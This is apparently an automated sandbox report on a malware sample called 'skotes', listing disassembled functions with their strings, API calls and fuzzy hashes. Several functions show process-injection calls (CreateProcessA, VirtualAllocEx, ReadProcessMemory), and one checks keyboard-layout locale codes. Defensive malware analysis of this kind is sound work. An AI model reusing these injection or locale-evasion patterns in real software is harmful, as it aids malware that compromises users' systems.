Opcode Fuzzy Hash: 4f1e9792dd02c552593734f0f30a4d00a093b0a432feb73a2559c97a299d6aa1
Instruction Fuzzy Hash: 30B1E4B06001189BDB24EF28CC89BAD7F79FF45304F504599F909A72D2DB719AC0CBA4

Function 0058E530 Relevance: 16.0, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WDw=, xrefs: 0058F71D, 0058F9FA
MQ==, xrefs: 0058E592
246122658369, xrefs: 0058F737, 0058FA14, 005905E7, 0059099A
#, xrefs: 00590624
WTs=, xrefs: 005905CA
GnNoc2Hc, xrefs: 0058E56C
MGE+, xrefs: 0058E821
WTw=, xrefs: 0059097D
L1^, xrefs: 0058F7E5
111, xrefs: 0058F7A0
9c9aa5, xrefs: 0058FB8E
UA==, xrefs: 0058EB0F, 0058ED56

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1^$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-925535900
Opcode ID: 61a4b6dde3847f65fba1d4d1bb21bb3905803ecbc32c5ec5377fe350d9beffdd
Instruction ID: 3d39e79d517fe244e80af71d770d7c102b6e4affa284fa3d112f2204537ec1db
Opcode Fuzzy Hash: 61a4b6dde3847f65fba1d4d1bb21bb3905803ecbc32c5ec5377fe350d9beffdd
Instruction Fuzzy Hash: 9382E3709042889BEF14EF68C94A7DE7FB6FB46304F508589E805673C2D7759A88CBD2

Function 0059D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 005824BE

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: ae439b9714d50a3ec94e4a8cae89ed64997c85d9d6518b357e6a8abbc9695f4d
Instruction ID: ef88571bc355777d94b5f5e0cf0c6b430a76b5b3998d7a57d220884202ecad22
Opcode Fuzzy Hash: ae439b9714d50a3ec94e4a8cae89ed64997c85d9d6518b357e6a8abbc9695f4d
Instruction Fuzzy Hash: 1451C072D006068BDF19CF58D8C57ADBBF9FB58314F24856AD405EB290E370A944CFA0

Function 005947B0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2516COMMON

Download Yara Rule

Strings

Fw==, xrefs: 00594E1D
P, xrefs: 00594B25, 00596541, 00596558, 0059659A, 005965A4, 00596810, 00596827, 00596869, 00596873
3I3eB==, xrefs: 00594802
246122658369, xrefs: 0059502A, 0059503D, 0059507F, 00595089, 00595684
KCWUOl==, xrefs: 00595649
anE0, xrefs: 0059566B
8WI0, xrefs: 00595692
aWW0, xrefs: 0059555C
MGI+, xrefs: 005948AD, 005949DC, 00594BCC, 00594CFB
9c9aa5, xrefs: 00595619
9HQ0, xrefs: 005954E1
Vmc0, xrefs: 005955D7
GE0, xrefs: 00595585
2I0, xrefs: 00595627
stoi argument out of range, xrefs: 00594F9C
jS=, xrefs: 00596513, 005967E2
MGE+, xrefs: 00594866, 005948DD, 00594B85, 00594BFC
WGS0, xrefs: 00595533
9250, xrefs: 005954AD
VXQ0, xrefs: 0059550A
VXA0, xrefs: 005955AE
93E0, xrefs: 00595600

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectMtx_destroy_in_situOpenSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$P$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4262241908-3874925447
Opcode ID: 8e15d8d4981b19d2ed7fc43ab1a8f0e1eb43fc8928e60b93277cb9763905438a
Instruction ID: 8a666dbf028c03e62c72f87d26f07104cc41395bdf9b5095ad39c352c352406c
Opcode Fuzzy Hash: 8e15d8d4981b19d2ed7fc43ab1a8f0e1eb43fc8928e60b93277cb9763905438a
Instruction Fuzzy Hash: 6A23E271A002588BEF19DB28CD8979DBF76BB81304F5481DCE049AB2D6EB355F888F51

Function 00591EC0 Relevance: 36.1, APIs: 2, Strings: 18, Instructions: 1092COMMON

Download Yara Rule

APIs

Part of subcall function 00597A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00597AEC
Part of subcall function 00597A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00597AF8
Part of subcall function 00597A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00597B01

std::_Xinvalid_argument.LIBCPMT ref: 00592EDE

Part of subcall function 0059C199: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0059C1A5

std::_Xinvalid_argument.LIBCPMT ref: 00592EED

Strings

Fw==, xrefs: 0059378E
nNo1LowMrFi, xrefs: 0059298A
., xrefs: 00592BDA
invalid stoi argument, xrefs: 00592ED9, 00592EE8, 0059434A
WDw=, xrefs: 005928C1, 005934AA
Hykl, xrefs: 0059387F
246122658369, xrefs: 00591F95, 005928DE, 00592B33, 00592BA0, 00592F78, 00593463, 005934C4
8HJUeIfzLo==, xrefs: 00592FB7, 00593226
WX f, xrefs: 00593BDE
WGpm, xrefs: 00593CC9
8HJUeMD Lq5=, xrefs: 00593054
V2Te, xrefs: 00593EB0
stoi argument out of range, xrefs: 00592EF2, 00594359
", xrefs: 00593F89
WTs=, xrefs: 00592B83, 00593449
WTw=, xrefs: 00591F78, 00592B16, 00592F5E
5120, xrefs: 00593BAF, 00593C9A
Ljg0, xrefs: 00592136, 00592228

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situstd::invalid_argument::invalid_argument
String ID: nNo1LowMrFi$"$.$246122658369$5120$8HJUeIfzLo==$8HJUeMD Lq5=$Fw==$Hykl$Ljg0$V2Te$WDw=$WGpm$WTs=$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 2897603145-123131290
Opcode ID: 6d86985060aa121e836006cdde8cf9096c089376eb8239dc638d554af00f4583
Instruction ID: 0388c59a43c702382846be8f1a4f9305dcc36517b587ca0213f04b35c95f5386
Opcode Fuzzy Hash: 6d86985060aa121e836006cdde8cf9096c089376eb8239dc638d554af00f4583
Instruction Fuzzy Hash: E292E771A00258ABDF19EF28CD8A7DD7F75BF86300F5045C9E84967282DB359B848F92

Function 00592F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Fw==, xrefs: 0059378E
invalid stoi argument, xrefs: 0059434A
Hykl, xrefs: 0059387F
stoi argument out of range, xrefs: 00594359
246122658369, xrefs: 00592F78
", xrefs: 00593F89
WX f, xrefs: 00593BDE
WGpm, xrefs: 00593CC9
WTw=, xrefs: 00592F5E
V2Te, xrefs: 00593EB0
5120, xrefs: 00593BAF, 00593C9A

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: d8b5a2acde72683f353a5f78c49fb7fbacc00f1552fc3e05dc4e461faeabd69d
Instruction ID: ead2549894838c5eb858fa4bd922c23a4fbc91c9be0506813e928202ccfba7ff
Opcode Fuzzy Hash: d8b5a2acde72683f353a5f78c49fb7fbacc00f1552fc3e05dc4e461faeabd69d
Instruction Fuzzy Hash: A4721571A00248DBDF18EF78CD8AB9DBFB5BF86300F54458DE445A7282D7359B848B92

Function 005870A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 132
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0058712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00587144
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00587159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00587179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 005871BB
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00587291

Strings

invalid stoi argument, xrefs: 00587090
VUUU, xrefs: 00586F41
, xrefs: 00587170

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$ContextCreateFreeMemoryReadThreadWow64
String ID: $VUUU$invalid stoi argument
API String ID: 752144545-3954507777
Opcode ID: 616feb10bb757c74be19bbd007bb2ee42a8b12ffb8efa5d09f31c0fd3f13a6c3
Instruction ID: fca3992c4555565d79dcbe4aa96cb79a0e8fe391b44ed720796d60d047ed654b
Opcode Fuzzy Hash: 616feb10bb757c74be19bbd007bb2ee42a8b12ffb8efa5d09f31c0fd3f13a6c3
Instruction Fuzzy Hash: CF4162702843057FE661EB64CC02F577BE9FF85B04F105519FA84A61D0DBB0F9148BA6

Function 00585EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00585F13

Strings

00000423, xrefs: 005860FA
Keyboard Layout\Preload, xrefs: 00586054
00000422, xrefs: 005860C9
0000043f, xrefs: 0058612B
00000419, xrefs: 00586098

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: b1cbd1ca19c18785a771d6101a108fda1a02302f436613b284c756fa17ed834d
Instruction ID: 1dc683b3c3a71e2ed667ac02de77d17d921c6909ff7991664515c128531a2e10
Opcode Fuzzy Hash: b1cbd1ca19c18785a771d6101a108fda1a02302f436613b284c756fa17ed834d
Instruction Fuzzy Hash: 4ED1A1719001589BEF24EF54CC89BEEBB79FB05300F5042D9E908E7292DB749AA48F55

Function 00587D30 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00587ED3

Strings

JjsrQV==, xrefs: 00588092
JjsrPl==, xrefs: 0058828A
JjssOl==, xrefs: 0058813A
JjssPV==, xrefs: 005881E2
X, xrefs: 00587DEA
8F, xrefs: 00587F75, 0058805A, 00588102, 005881AA, 00588252

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 8F$JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$X
API String ID: 1721193555-997448323
Opcode ID: 1f2dcf554af9fb77861fe713d3fd3d38cc47da7f8c17b1bec727d35de8a34383
Instruction ID: cab7d180603c23ccb60c35099c63755991b283335e1440410819e68d99f659e9
Opcode Fuzzy Hash: 1f2dcf554af9fb77861fe713d3fd3d38cc47da7f8c17b1bec727d35de8a34383
Instruction Fuzzy Hash: A9E1F670E006459BDB18BB28CC4B7AD7F61BB86710F944698E855BB3C2DB754E848BC2

Function 005BD634 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,m[, xrefs: 005BD835

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: ,m[
API String ID: 0-3808230144
Opcode ID: 83baf5ce54d6a02f9d2a0243cfe3cd2a57b216ff24894f9c126bdcdee34b53db
Instruction ID: b9a13b20157f88d89d6237d88b9c362bc852249fb1617345e390713f17defc65
Opcode Fuzzy Hash: 83baf5ce54d6a02f9d2a0243cfe3cd2a57b216ff24894f9c126bdcdee34b53db
Instruction Fuzzy Hash: 8161E632D016158FDF25AFA8D8897EDBFB0FB55311F284116E8496B291FA31BC448B71

Function 00588380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00588524

Strings

X, xrefs: 0058843F

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: X
API String ID: 1721193555-1677210272
Opcode ID: 6a7de5a23dfd7fa4dbbfdf2283cdc456743748e259507dcdb153a3e7b0a4b2d6
Instruction ID: 2fa3eb6351161add879233dd91bedf1638aeaaf4cde794e6c656822f34f28357
Opcode Fuzzy Hash: 6a7de5a23dfd7fa4dbbfdf2283cdc456743748e259507dcdb153a3e7b0a4b2d6
Instruction Fuzzy Hash: EC512571900248ABDB24FB68CD497EDBF74FB45314F904299E804B7292EF349E808B91

Function 005BD82F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,005BA72D,?,00000000,?,005B6D2C,00587883,67DF2342,00587883), ref: 005BD871

Strings

,m[, xrefs: 005BD835

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: ,m[
API String ID: 1279760036-3808230144
Opcode ID: fed48fb63c8bda7b49bc2bdad641f49127a81a0edd2cc5ec29c3fa596fd6db20
Instruction ID: 23a43220f06f9702c1cfcc0b9be818ecee9154330bfdbf21cc3f118224827a98
Opcode Fuzzy Hash: fed48fb63c8bda7b49bc2bdad641f49127a81a0edd2cc5ec29c3fa596fd6db20
Instruction Fuzzy Hash: 01F0E93550152566DB212B729C05AEB3F78FF853B2B148421FD04AB181FA20FC0086F0

Function 005BB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,67DF2342,?,?,0059D3FC,67DF2342,?,00597A8B,?,?,?,?,?,?,00587465,?), ref: 005BB07D

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
